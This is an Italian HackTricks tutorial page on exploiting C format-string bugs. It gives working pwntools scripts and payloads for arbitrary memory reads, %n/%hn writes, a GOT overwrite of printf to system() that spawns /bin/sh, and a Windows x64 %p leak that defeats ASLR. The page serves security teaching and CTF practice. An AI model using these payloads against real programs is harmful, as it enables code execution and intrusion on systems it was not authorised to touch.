Format Strings

Reading time: 11 minutes

tip

Impara e pratica il hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Impara e pratica il hacking GCP: HackTricks Training GCP Red Team Expert (GRTE) Impara e pratica il hacking Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Supporta HackTricks

Informazioni di base

In C printf è una funzione che può essere usata per stampare una stringa. Il primo parametro che questa funzione si aspetta è il testo grezzo con i formatters. I parametri successivi attesi sono i valori per sostituire i formatters nel testo grezzo.

Altre funzioni vulnerabili sono sprintf() e fprintf().

La vulnerabilità si presenta quando un testo controllato dall'attaccante viene usato come primo argomento di questa funzione. L'attaccante sarà in grado di costruire un input speciale abusando delle printf format string capabilities per leggere e scrivere qualsiasi dato in qualunque indirizzo (leggibile/scrivibile). In questo modo può eseguire codice arbitrario.

Formattatori:

bash
%08x —> 8 hex bytes
%d —> Entire
%u —> Unsigned
%s —> String
%p —> Pointer
%n —> Number of written bytes
%hn —> Occupies 2 bytes instead of 4
<n>$X —> Direct access, Example: ("%3$d", var1, var2, var3) —> Access to var3

Esempi:

  • Esempio vulnerabile:
c
char buffer[30];
gets(buffer);  // Dangerous: takes user input without restrictions.
printf(buffer);  // If buffer contains "%x", it reads from the stack.
  • Uso normale:
c
int value = 1205;
printf("%x %x %x", value, value, value);  // Outputs: 4b5 4b5 4b5
  • Con argomenti mancanti:
c
printf("%x %x %x", value);  // Unexpected output: reads random values from the stack.
  • fprintf vulnerabile:
c
#include <stdio.h>

int main(int argc, char *argv[]) {
char *user_input;
user_input = argv[1];
FILE *output_file = fopen("output.txt", "w");
fprintf(output_file, user_input); // The user input can include formatters!
fclose(output_file);
return 0;
}

Accesso ai puntatori

Il formato %<n>$x, dove n è un numero, permette di indicare a printf di selezionare il parametro n (dallo stack). Quindi se vuoi leggere il 4° parametro dallo stack usando printf puoi fare:

c
printf("%x %x %x %x")

e leggeresti dal primo al quarto parametro.

Oppure potresti fare:

c
printf("%4$x")

e leggere direttamente il quarto.

Nota che l'attaccante controlla il printf parametro, il che praticamente significa che il suo input verrà messo nello stack quando printf viene chiamato, il che significa che potrebbe scrivere specifici indirizzi di memoria nello stack.

caution

Un attaccante che controlla questo input potrà aggiungere indirizzi arbitrari nello stack e far sì che printf li acceda. Nella sezione successiva sarà spiegato come utilizzare questo comportamento.

Arbitrary Read

È possibile usare il formatter %n$s per far sì che printf prenda l'indirizzo situato nella posizione n, lo segua e lo stampi come se fosse una stringa (stampa fino a quando non viene trovato un 0x00). Quindi, se l'indirizzo base del binario è 0x8048000, e sappiamo che l'input dell'utente inizia nella quarta posizione nello stack, è possibile stampare l'inizio del binario con:

python
from pwn import *

p = process('./bin')

payload = b'%6$s' #4th param
payload += b'xxxx' #5th param (needed to fill 8bytes with the initial input)
payload += p32(0x8048000) #6th param

p.sendline(payload)
log.info(p.clean()) # b'\x7fELF\x01\x01\x01||||'

caution

Nota che non puoi mettere l'indirizzo 0x8048000 all'inizio dell'input perché la stringa sarà terminata con 0x00 alla fine di quell'indirizzo.

Trovare l'offset

Per trovare l'offset del tuo input puoi inviare 4 o 8 byte (0x41414141) seguiti da %1$x e aumentare il valore fino a recuperare le A.

Brute Force printf offset
python
# Code from https://www.ctfrecipes.com/pwn/stack-exploitation/format-string/data-leak

from pwn import *

# Iterate over a range of integers
for i in range(10):
# Construct a payload that includes the current integer as offset
payload = f"AAAA%{i}$x".encode()

# Start a new process of the "chall" binary
p = process("./chall")

# Send the payload to the process
p.sendline(payload)

# Read and store the output of the process
output = p.clean()

# Check if the string "41414141" (hexadecimal representation of "AAAA") is in the output
if b"41414141" in output:
# If the string is found, log the success message and break out of the loop
log.success(f"User input is at offset : {i}")
break

# Close the process
p.close()

Quanto è utile

Arbitrary reads possono essere utili per:

  • Dump il binary dalla memoria
  • Accedere a parti specifiche della memoria dove sono memorizzate informazioni sensibili (come canaries, encryption keys o custom passwords come in questo CTF challenge)

Arbitrary Write

Il formatter %<num>$n scrive il numero di byte scritti nell'indirizzo indicato dal parametro nello stack. Se un attaccante può scrivere quanti caratteri vuole con printf, sarà in grado di far sì che %<num>$n scriva un numero arbitrario in un indirizzo arbitrario.

Per fortuna, per scrivere il numero 9999 non è necessario aggiungere 9999 "A" all'input; è possibile usare il formatter %.<num-write>%<num>$n per scrivere il numero <num-write> nell'indirizzo puntato dalla posizione num.

bash
AAAA%.6000d%4\$n —> Write 6004 in the address indicated by the 4º param
AAAA.%500\$08x —> Param at offset 500

Tuttavia, nota che di solito, per scrivere un indirizzo come 0x08049724 (che è un NUMERO ENORME da scrivere tutto in una volta), si usa $hn invece di $n. Questo permette di scrivere solo 2 byte. Pertanto questa operazione viene eseguita due volte, una per i 2 byte più alti dell'indirizzo e un'altra per quelli più bassi.

Pertanto, questa vulnerabilità permette di scrivere qualsiasi cosa in qualsiasi indirizzo (arbitrary write).

In questo esempio, l'obiettivo sarà sovrascrivere l'indirizzo di una funzione nella tabella GOT che verrà chiamata più tardi. Sebbene questo possa sfruttare altre tecniche di arbitrary write to exec:

Write What Where 2 Exec

Andremo a sovrascrivere una funzione che riceve i suoi argomenti dall'utente e a puntarla alla funzione system.
Come detto, per scrivere l'indirizzo sono generalmente necessari 2 passaggi: prima si scrivono 2 byte dell'indirizzo e poi gli altri 2. Per farlo si usa $hn.

  • HOB indica i 2 byte più alti dell'indirizzo
  • LOB indica i 2 byte più bassi dell'indirizzo

Poi, a causa di come funzionano le format string, è necessario scrivere prima il più piccolo tra [HOB, LOB] e poi l'altro.

Se HOB < LOB
[address+2][address]%.[HOB-8]x%[offset]\$hn%.[LOB-HOB]x%[offset+1]

Se HOB > LOB
[address+2][address]%.[LOB-8]x%[offset+1]\$hn%.[HOB-LOB]x%[offset]

HOB LOB HOB_shellcode-8 NºParam_dir_HOB LOB_shell-HOB_shell NºParam_dir_LOB

bash
python -c 'print "\x26\x97\x04\x08"+"\x24\x97\x04\x08"+ "%.49143x" + "%4$hn" + "%.15408x" + "%5$hn"'

Pwntools Modello

Puoi trovare un modello per preparare un exploit per questo tipo di vulnerabilità in:

Format Strings Template

Oppure questo esempio di base da here:

python
from pwn import *

elf = context.binary = ELF('./got_overwrite-32')
libc = elf.libc
libc.address = 0xf7dc2000       # ASLR disabled

p = process()

payload = fmtstr_payload(5, {elf.got['printf'] : libc.sym['system']})
p.sendline(payload)

p.clean()

p.sendline('/bin/sh')

p.interactive()

Format Strings to BOF

È possibile abusare delle azioni di scrittura di una format string vulnerability per scrivere in indirizzi dello stack e sfruttare un tipo di vulnerabilità di buffer overflow.

Windows x64: Format-string leak to bypass ASLR (no varargs)

Su Windows x64 i primi quattro parametri interi/puntatore vengono passati nei registri: RCX, RDX, R8, R9. In molti call-sites vulnerabili la stringa controllata dall'attaccante viene usata come format argument ma non vengono forniti variadic arguments, per esempio:

c
// keyData is fully controlled by the client
// _snprintf(dst, len, fmt, ...)
_snprintf(keyStringBuffer, 0xff2, (char*)keyData);

Poiché non vengono passati varargs, qualsiasi conversione come "%p", "%x", "%s" farà sì che la CRT legga il prossimo argomento variadico dal registro appropriato. Con la Microsoft x64 calling convention la prima lettura per "%p" proviene da R9. Qualsiasi valore transitorio in R9 al call-site verrà stampato. In pratica questo spesso leaks un puntatore stabile in-modulo (es., un puntatore a un oggetto locale/globale precedentemente posto in R9 dal codice circostante o un valore callee-saved), che può essere usato per recuperare la base del modulo e sconfiggere ASLR.

Flusso pratico:

  • Inietta un formato innocuo come "%p " all'inizio della stringa controllata dall'attaccante in modo che la prima conversione venga eseguita prima di qualsiasi filtraggio.
  • Cattura il leaked pointer, identifica l'offset statico di quell'oggetto all'interno del modulo (eseguendo reversing una volta con simboli o una copia locale), e recupera la image base come leak - known_offset.
  • Riusa quella base per calcolare indirizzi assoluti per ROP gadgets e IAT entries da remoto.

Esempio (abbreviato python):

python
from pwn import remote

# Send an input that the vulnerable code will pass as the "format"
fmt = b"%p " + b"-AAAAA-BBB-CCCC-0252-"  # leading %p leaks R9
io = remote(HOST, 4141)
# ... drive protocol to reach the vulnerable snprintf ...
leaked = int(io.recvline().split()[2], 16)   # e.g. 0x7ff6693d0660
base   = leaked - 0x20660                     # module base = leak - offset
print(hex(leaked), hex(base))

Note:

  • L'offset esatto da sottrarre viene trovato una volta durante il reversing locale e poi riutilizzato (stesso binario/versione).
  • Se "%p" non stampa un puntatore valido al primo tentativo, provare altri specifier ("%llx", "%s") o conversioni multiple ("%p %p %p") per campionare altri registri/stack degli argomenti.
  • Questo pattern è specifico della calling convention Windows x64 e delle implementazioni della printf-family che leggono varargs inesistenti dai registri quando la format string li richiede.

Questa tecnica è estremamente utile per bootstrapper ROP su servizi Windows compilati con ASLR e senza evidenti primitive di memory disclosure.

Altri Esempi & Riferimenti

Riferimenti

tip

Impara e pratica il hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Impara e pratica il hacking GCP: HackTricks Training GCP Red Team Expert (GRTE) Impara e pratica il hacking Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Supporta HackTricks